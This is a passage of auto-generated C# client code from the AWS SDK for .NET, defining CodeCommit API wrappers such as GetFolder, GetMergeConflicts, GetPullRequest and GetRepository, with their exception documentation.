cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PathRequiredException"> /// The folderPath for a location cannot be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetFolder">REST API Reference for GetFolder Operation</seealso> public virtual GetFolderResponse GetFolder(GetFolderRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = GetFolderRequestMarshaller.Instance; options.ResponseUnmarshaller = GetFolderResponseUnmarshaller.Instance; return Invoke<GetFolderResponse>(request, options); } /// <summary> /// Returns the contents of a specified folder in a repository. /// </summary> /// <param name="request">Container for the necessary parameters to execute the GetFolder service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the GetFolder service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.CommitDoesNotExistException"> /// The specified commit does not exist or no commit was specified, and the specified /// repository has no default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FolderDoesNotExistException"> /// The specified folder does not exist. Either the folder name is not correct, or you /// did not provide the full path to the folder. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitException"> /// The specified commit is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPathException"> /// The specified path is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PathRequiredException"> /// The folderPath for a location cannot be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetFolder">REST API Reference for GetFolder Operation</seealso> public virtual Task<GetFolderResponse> GetFolderAsync(GetFolderRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = GetFolderRequestMarshaller.Instance; options.ResponseUnmarshaller = GetFolderResponseUnmarshaller.Instance; return InvokeAsync<GetFolderResponse>(request, options, cancellationToken); } #endregion #region GetMergeCommit /// <summary> /// Returns information about a specified merge commit. /// </summary> /// <param name="request">Container for the necessary parameters to execute the GetMergeCommit service method.</param> /// /// <returns>The response from the GetMergeCommit service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.CommitDoesNotExistException"> /// The specified commit does not exist or no commit was specified, and the specified /// repository has no default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitRequiredException"> /// A commit was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitException"> /// The specified commit is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictDetailLevelException"> /// The specified conflict detail level is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictResolutionStrategyException"> /// The specified conflict resolution strategy is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetMergeCommit">REST API Reference for GetMergeCommit Operation</seealso> public virtual GetMergeCommitResponse GetMergeCommit(GetMergeCommitRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = GetMergeCommitRequestMarshaller.Instance; options.ResponseUnmarshaller = GetMergeCommitResponseUnmarshaller.Instance; return Invoke<GetMergeCommitResponse>(request, options); } /// <summary> /// Returns information about a specified merge commit. /// </summary> /// <param name="request">Container for the necessary parameters to execute the GetMergeCommit service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the GetMergeCommit service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.CommitDoesNotExistException"> /// The specified commit does not exist or no commit was specified, and the specified /// repository has no default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitRequiredException"> /// A commit was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitException"> /// The specified commit is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictDetailLevelException"> /// The specified conflict detail level is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictResolutionStrategyException"> /// The specified conflict resolution strategy is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetMergeCommit">REST API Reference for GetMergeCommit Operation</seealso> public virtual Task<GetMergeCommitResponse> GetMergeCommitAsync(GetMergeCommitRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = GetMergeCommitRequestMarshaller.Instance; options.ResponseUnmarshaller = GetMergeCommitResponseUnmarshaller.Instance; return InvokeAsync<GetMergeCommitResponse>(request, options, cancellationToken); } #endregion #region GetMergeConflicts /// <summary> /// Returns information about merge conflicts between the before and after commit IDs /// for a pull request in a repository. /// </summary> /// <param name="request">Container for the necessary parameters to execute the GetMergeConflicts service method.</param> /// /// <returns>The response from the GetMergeConflicts service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.CommitDoesNotExistException"> /// The specified commit does not exist or no commit was specified, and the specified /// repository has no default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitRequiredException"> /// A commit was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitException"> /// The specified commit is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictDetailLevelException"> /// The specified conflict detail level is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictResolutionStrategyException"> /// The specified conflict resolution strategy is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidContinuationTokenException"> /// The specified continuation token is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidDestinationCommitSpecifierException"> /// The destination commit specifier is not valid. You must provide a valid branch name, /// tag, or full commit ID. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidMaxConflictFilesException"> /// The specified value for the number of conflict files to return is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidMergeOptionException"> /// The specified merge option is not valid for this operation. Not all merge strategies /// are supported for all operations. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidSourceCommitSpecifierException"> /// The source commit specifier is not valid. You must provide a valid branch name, tag, /// or full commit ID. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumFileContentToLoadExceededException"> /// The number of files to load exceeds the allowed limit. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumItemsToCompareExceededException"> /// The maximum number of items to compare between the source or destination branches /// and the merge base has exceeded the maximum allowed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MergeOptionRequiredException"> /// A merge option or stategy is required, and none was provided. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TipsDivergenceExceededException"> /// The divergence between the tips of the provided commit specifiers is too great to /// determine whether there might be any merge conflicts. Locally compare the specifiers /// using <code>git diff</code> or a diff tool. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetMergeConflicts">REST API Reference for GetMergeConflicts Operation</seealso> public virtual GetMergeConflictsResponse GetMergeConflicts(GetMergeConflictsRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = GetMergeConflictsRequestMarshaller.Instance; options.ResponseUnmarshaller = GetMergeConflictsResponseUnmarshaller.Instance; return Invoke<GetMergeConflictsResponse>(request, options); } /// <summary> /// Returns information about merge conflicts between the before and after commit IDs /// for a pull request in a repository. /// </summary> /// <param name="request">Container for the necessary parameters to execute the GetMergeConflicts service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the GetMergeConflicts service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.CommitDoesNotExistException"> /// The specified commit does not exist or no commit was specified, and the specified /// repository has no default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitRequiredException"> /// A commit was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitException"> /// The specified commit is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictDetailLevelException"> /// The specified conflict detail level is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictResolutionStrategyException"> /// The specified conflict resolution strategy is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidContinuationTokenException"> /// The specified continuation token is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidDestinationCommitSpecifierException"> /// The destination commit specifier is not valid. You must provide a valid branch name, /// tag, or full commit ID. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidMaxConflictFilesException"> /// The specified value for the number of conflict files to return is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidMergeOptionException"> /// The specified merge option is not valid for this operation. Not all merge strategies /// are supported for all operations. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidSourceCommitSpecifierException"> /// The source commit specifier is not valid. You must provide a valid branch name, tag, /// or full commit ID. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumFileContentToLoadExceededException"> /// The number of files to load exceeds the allowed limit. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumItemsToCompareExceededException"> /// The maximum number of items to compare between the source or destination branches /// and the merge base has exceeded the maximum allowed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MergeOptionRequiredException"> /// A merge option or stategy is required, and none was provided. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TipsDivergenceExceededException"> /// The divergence between the tips of the provided commit specifiers is too great to /// determine whether there might be any merge conflicts. Locally compare the specifiers /// using <code>git diff</code> or a diff tool. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetMergeConflicts">REST API Reference for GetMergeConflicts Operation</seealso> public virtual Task<GetMergeConflictsResponse> GetMergeConflictsAsync(GetMergeConflictsRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = GetMergeConflictsRequestMarshaller.Instance; options.ResponseUnmarshaller = GetMergeConflictsResponseUnmarshaller.Instance; return InvokeAsync<GetMergeConflictsResponse>(request, options, cancellationToken); } #endregion #region GetMergeOptions /// <summary> /// Returns information about the merge options available for merging two specified branches. /// For details about why a particular merge option is not available, use GetMergeConflicts /// or DescribeMergeConflicts. /// </summary> /// <param name="request">Container for the necessary parameters to execute the GetMergeOptions service method.</param> /// /// <returns>The response from the GetMergeOptions service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.CommitDoesNotExistException"> /// The specified commit does not exist or no commit was specified, and the specified /// repository has no default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitRequiredException"> /// A commit was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitException"> /// The specified commit is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictDetailLevelException"> /// The specified conflict detail level is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictResolutionStrategyException"> /// The specified conflict resolution strategy is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumFileContentToLoadExceededException"> /// The number of files to load exceeds the allowed limit. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumItemsToCompareExceededException"> /// The maximum number of items to compare between the source or destination branches /// and the merge base has exceeded the maximum allowed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TipsDivergenceExceededException"> /// The divergence between the tips of the provided commit specifiers is too great to /// determine whether there might be any merge conflicts. Locally compare the specifiers /// using <code>git diff</code> or a diff tool. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetMergeOptions">REST API Reference for GetMergeOptions Operation</seealso> public virtual GetMergeOptionsResponse GetMergeOptions(GetMergeOptionsRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = GetMergeOptionsRequestMarshaller.Instance; options.ResponseUnmarshaller = GetMergeOptionsResponseUnmarshaller.Instance; return Invoke<GetMergeOptionsResponse>(request, options); } /// <summary> /// Returns information about the merge options available for merging two specified branches. /// For details about why a particular merge option is not available, use GetMergeConflicts /// or DescribeMergeConflicts. /// </summary> /// <param name="request">Container for the necessary parameters to execute the GetMergeOptions service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the GetMergeOptions service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.CommitDoesNotExistException"> /// The specified commit does not exist or no commit was specified, and the specified /// repository has no default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitRequiredException"> /// A commit was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitException"> /// The specified commit is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictDetailLevelException"> /// The specified conflict detail level is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictResolutionStrategyException"> /// The specified conflict resolution strategy is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumFileContentToLoadExceededException"> /// The number of files to load exceeds the allowed limit. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumItemsToCompareExceededException"> /// The maximum number of items to compare between the source or destination branches /// and the merge base has exceeded the maximum allowed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TipsDivergenceExceededException"> /// The divergence between the tips of the provided commit specifiers is too great to /// determine whether there might be any merge conflicts. Locally compare the specifiers /// using <code>git diff</code> or a diff tool. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetMergeOptions">REST API Reference for GetMergeOptions Operation</seealso> public virtual Task<GetMergeOptionsResponse> GetMergeOptionsAsync(GetMergeOptionsRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = GetMergeOptionsRequestMarshaller.Instance; options.ResponseUnmarshaller = GetMergeOptionsResponseUnmarshaller.Instance; return InvokeAsync<GetMergeOptionsResponse>(request, options, cancellationToken); } #endregion #region GetPullRequest /// <summary> /// Gets information about a pull request in a specified repository. /// </summary> /// <param name="request">Container for the necessary parameters to execute the GetPullRequest service method.</param> /// /// <returns>The response from the GetPullRequest service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPullRequestIdException"> /// The pull request ID is not valid. Make sure that you have provided the full ID and /// that the pull request is in the specified repository, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestDoesNotExistException"> /// The pull request ID could not be found. Make sure that you have specified the correct /// repository name and pull request ID, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestIdRequiredException"> /// A pull request ID is required, but none was provided. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetPullRequest">REST API Reference for GetPullRequest Operation</seealso> public virtual GetPullRequestResponse GetPullRequest(GetPullRequestRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = GetPullRequestRequestMarshaller.Instance; options.ResponseUnmarshaller = GetPullRequestResponseUnmarshaller.Instance; return Invoke<GetPullRequestResponse>(request, options); } /// <summary> /// Gets information about a pull request in a specified repository. /// </summary> /// <param name="request">Container for the necessary parameters to execute the GetPullRequest service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the GetPullRequest service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPullRequestIdException"> /// The pull request ID is not valid. Make sure that you have provided the full ID and /// that the pull request is in the specified repository, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestDoesNotExistException"> /// The pull request ID could not be found. Make sure that you have specified the correct /// repository name and pull request ID, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestIdRequiredException"> /// A pull request ID is required, but none was provided. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetPullRequest">REST API Reference for GetPullRequest Operation</seealso> public virtual Task<GetPullRequestResponse> GetPullRequestAsync(GetPullRequestRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = GetPullRequestRequestMarshaller.Instance; options.ResponseUnmarshaller = GetPullRequestResponseUnmarshaller.Instance; return InvokeAsync<GetPullRequestResponse>(request, options, cancellationToken); } #endregion #region GetRepository /// <summary> /// Returns information about a repository. /// /// <note> /// <para> /// The description field for a repository accepts all HTML characters and all valid Unicode /// characters. Applications that do not HTML-encode the description and display it in /// a web page could expose users to potentially malicious code. Make sure that you HTML-encode /// the description field in any application that uses this API to display the repository /// description on a web page. /// </para> /// </note> /// </summary> /// <param name="request">Container for the necessary parameters to execute the GetRepository service method.</param> /// /// <returns>The response from the GetRepository service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetRepository">REST API Reference for GetRepository Operation</seealso> public virtual GetRepositoryResponse GetRepository(GetRepositoryRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = GetRepositoryRequestMarshaller.Instance; options.ResponseUnmarshaller = GetRepositoryResponseUnmarshaller.Instance; return Invoke<GetRepositoryResponse>(request, options); } /// <summary> /// Returns information about a repository. /// /// <note> /// <para> /// The description field for a repository accepts all HTML characters and all valid Unicode /// characters. Applications that do not HTML-encode the description and display it in /// a web page could expose users to potentially malicious code. Make sure that you HTML-encode /// the description field in any application that uses this API to display the repository /// description on a web page. /// </para> /// </note> /// </summary> /// <param name="request">Container for the necessary parameters to execute the GetRepository service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the GetRepository service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetRepository">REST API Reference for GetRepository Operation</seealso> public virtual Task<GetRepositoryResponse> GetRepositoryAsync(GetRepositoryRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = GetRepositoryRequestMarshaller.Instance; options.ResponseUnmarshaller = GetRepositoryResponseUnmarshaller.Instance; return InvokeAsync<GetRepositoryResponse>(request, options, cancellationToken); } #endregion #region GetRepositoryTriggers /// <summary> /// Gets information about triggers configured for a repository. /// </summary> /// <param name="request">Container for the necessary parameters to execute the 